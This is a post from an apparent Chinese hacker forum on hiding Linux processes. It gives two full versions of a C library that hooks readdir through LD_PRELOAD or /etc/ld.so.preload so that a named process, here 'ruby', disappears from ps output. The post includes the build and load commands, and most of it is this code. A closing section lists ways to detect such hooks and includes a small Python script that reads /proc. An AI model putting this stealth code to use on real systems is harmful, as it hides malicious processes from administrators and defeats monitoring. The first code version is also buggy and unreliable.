• Welcome to the world's largest Chinese hacker forum

    Welcome to the world's largest Chinese hacker forum, our forum registration is open! You can now register for technical communication with us, this is a free and open to the world of the BBS, we founded the purpose for the study of network security, please don't release business of black/grey, or on the BBS posts, to seek help hacker if violations, we will permanently frozen your IP and account, thank you for your cooperation. Hacker attack and defense cracking or network Security

    business please click here: Creation Security  From CNHACKTEAM

Linux 实现进程隐藏?达到别人不知道的情况下运行


P2dy7

Recommended Posts

LD_PRELOAD介绍

好问题!实际上,/etc/ld.so.preload在某种程度上取代了LD_PRELOAD。
由于安全问题,LD_PRELOAD受到严格限制:它不能执行任意setuid二进制文件,因为如果可以,您可以用您自己的恶意代码替换库例程,例如参见此处的一个很好的讨论。事实上,你可以在ld.so’user manual 中阅读:

LD_PRELOAD 要在所有其他库之前加载的附加、用户指定的 ELF 共享库列表。列表的项目可以用空格或冒号分隔。这可用于选择性地覆盖其他共享库中的函数。使用描述下给出的规则搜索库。对于 set-user-ID/set-group-ID ELF 二进制文件,包含斜杠的预加载路径名将被忽略,并且只有在库文件上启用了 set-user-ID 权限位时才会加载标准搜索目录中的库。
相反,文件/etc/ld.so.preload没有这样的限制,这个想法是,如果你可以读/写目录/etc,你已经拥有 root 凭据。因此它的使用。请记住,您可以使用/etc/ld.so.preload即使您一开始似乎没有:它只是glibc 的一个特性,因此是所有 Linux 发行版的一个特性(但不是,最好的我对 Unix 风格的了解),因此您可以创建它并将任何Linux 发行版中的任何setuid 库的名称放入其中,它就会起作用。

实验过程

WfYGh6.png


(也不知道这两个函数怎么知道是系统调用抽出来的)

ps命令获取进程过程:

* openat打开/proc/<pid>/<file>
* read读取
* write输出

 

通过执行strace -f ps -elf 2>&1即可得出结论

WfYo40.png

上面那个github的原理就是hook了readdir。github上面那个通过利用循环里的continue跳过匹配的进程返回,但是会造成bug,稍微修改了一下,最终结果如下

#define _GNU_SOURCE
#include <dirent.h>
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>
#include <unistd.h>


static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
    int fd = dirfd(dirp); //获取目录流文件描述符
    if(fd == -1) {
        return 0;
    }


    char tmp[64];
    snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd); //拼接路径得到目录流文件路径
    ssize_t ret = readlink(tmp, buf, size); //读取符号链接的值 (读取链接的目录)
    if(ret == -1) {
        return 0;
    }


    buf[ret] = 0;
    return 1;
}


static int get_process_name(char* pid, char* buf)
{
    if(strspn(pid, "0123456789") != strlen(pid)) { //枚举出PID目录
        return 0;
    }


    char tmp[256];
    snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid); //拼接得到/porc/<pid>/stat文件路径


    FILE* f = fopen(tmp, "r");
    if(f == NULL) {
        return 0;
    }


    if(fgets(tmp, sizeof(tmp), f) == NULL) {
        fclose(f);
        return 0;
    }


    fclose(f);


    int unused;
    sscanf(tmp, "%d (%[^)]s", &unused, buf); //读取完/porc/<pid>/stat文件内容匹配出进程名称
    return 1;
}



static struct dirent* (*original_readdir)(DIR*) = NULL; //构造readdir函数原型 https://linux.die.net/man/3/readdir


static const char* process_to_filter = "ruby"; //需要被隐藏的进程名称
struct dirent *readdir(DIR *dirp){
        if(original_readdir == NULL) {
                original_readdir = dlsym(RTLD_NEXT, "readdir"); //通过dlsym来获取readdir函数地址
                if(original_readdir==NULL){
                        printf("readdir Address Get Failure,Error Code:%d\n",dlerror());
                }
        }
        struct dirent* dp;
        dp=original_readdir(dirp); //通过调用readdir函数读取目录
        char dirname[256];
        char processname[256];
        get_dir_name(dirp,dirname,sizeof(dirname)); //获取当前所在目录
        if(strcmp(dirname,"/proc")==0){ //目录文件等于/proc
                get_process_name(dp->d_name,processname);  //由于目录文件是/proc,那么文件名(d_name)肯定是pid,所以获取要打开的文件名
                if(strcmp(processname,process_to_filter)==0){ //当进程名称符合要屏蔽的进程名不返回
                }else{
                        return dp;
                }
        }
}

 

while循环continue屏蔽

#define _GNU_SOURCE
#include <dirent.h>
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>
#include <unistd.h>


static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
    int fd = dirfd(dirp);
    if(fd == -1) {
        return 0;
    }


    char tmp[64];
    snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
    ssize_t ret = readlink(tmp, buf, size);
    if(ret == -1) {
        return 0;
    }


    buf[ret] = 0;
    return 1;
}


static int get_process_name(char* pid, char* buf)
{
    if(strspn(pid, "0123456789") != strlen(pid)) {
        return 0;
    }


    char tmp[256];
    snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);


    FILE* f = fopen(tmp, "r");
    if(f == NULL) {
        return 0;
    }


    if(fgets(tmp, sizeof(tmp), f) == NULL) {
        fclose(f);
        return 0;
    }


    fclose(f);


    int unused;
    sscanf(tmp, "%d (%[^)]s", &unused, buf);
    return 1;
}




#define DECLARE_READDIR(dirent, readdir)
static struct dirent* (*original_readdir)(DIR*) = NULL;


static const char* process_to_filter = "ruby";
struct dirent *readdir(DIR *dirp){
        if(original_readdir == NULL) {
                original_readdir = dlsym(RTLD_NEXT, "readdir");
                if(original_readdir==NULL){
                        printf("readdir Address Get Failure,Error Code:%d\n",dlerror());
                }
        }
        struct dirent* dp;
        while(1){
                dp=original_readdir(dirp);
                char dirname[256];
                char processname[256];
                get_dir_name(dirp,dirname,sizeof(dirname));
                if(strcmp(dirname,"/proc")==0){
                        get_process_name(dp->d_name,processname);
                        if(strcmp(processname,process_to_filter)==0){
                                continue;
                        }
                }
                break;
        }
        return dp;
}

 

静态编译:
gcc -shared -fpic example.c -o example.so
LD_PRELOAD=/home/kali/Desktop/example.so /usr/bin/ps -elf #指定程序使用

从这些code里面可以明白写LD HOOK的时候,需准备以下操作:

* 被HOOK的目标函数是否通过libc抽象出来调用的,比如说getuid这种就不是。C原生的,非C原生的都要HOOK C原生函数
* 实例化被HOOK函数原型
* 通过dlsym寻找被HOOK原函数的地址,赋予定义的函数原型变量
* 调用原函数获取内容,判断后是否要return

 

PS:最好还是用while continue屏蔽

Wftm5t.png

/etc/ld.so.preload测试的问题

使用了/etc/ld.so.preload (最好不要用,由于是全局使用容易出现大规模的问题) -> 匹配到不是进程名称的就return返回

WftBMF.png
WfsYOx.png


(测试遇到这个问题先删除so,在删除/etc/ld.so.preload)

while循环continue虽然可以避免这个问题,但是执行ps的时候会出现bug

WfswkD.png

防止这种操作蒙蔽双眼:
I、检查LD_PRELOAD环境变量是否有异常
II、检查ld.so.preload 等配置文件是否有异常
III、自己写个python小工具,直接读取/proc中的内容,对于ps等工具的结果,对不上,则存在被劫持可能
IV、使用sysdig(有开源版,可以监控ps等的调用过程,观察是否有恶意动态库被加载。strace有类似功能)或者prochunter(google 上search)
sysdig proc.name=ps or strace -f ps -elf 2>&1

遍历/poc目录,获取进程PID。读取/proc//stat文件 -> 读取/proc//cmdline得到要执行的命令行参数

import os
def getprocess():
    path=os.listdir("/proc")
    for p in path:
        tmplen=0
        for n in range(0,10):
            for c in p:
                if c==str(n):
                    tmplen+=1
        if len(p)==tmplen:
            print("------PID:{}-----".format(p))
            print(open("/proc/{}/stat".format(p),"r").read())
            print(open("/proc/{}/cmdline".format(p),"r").read())

getprocess()

 

WfaEb4.png

参考链接

https://422926799.github.io/posts/906527f2.html

https://linux.die.net/man/3/readdir
https://pubs.opengroup.org/onlinepubs/007904875/functions/readdir_r.html
https://techoverflow.net/2019/06/20/how-to-fix-c-error-rtld_next-undeclared/
https://sysdig.com/blog/hiding-linux-processes-for-fun-and-profit/
https://github.com/gianlucaborello/libprocesshider
现成工具:https://github.com/gianlucaborello/libprocesshider
原理文章:https://sysdig.com/blog/hiding-linux-processes-for-fun-and-profit/

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now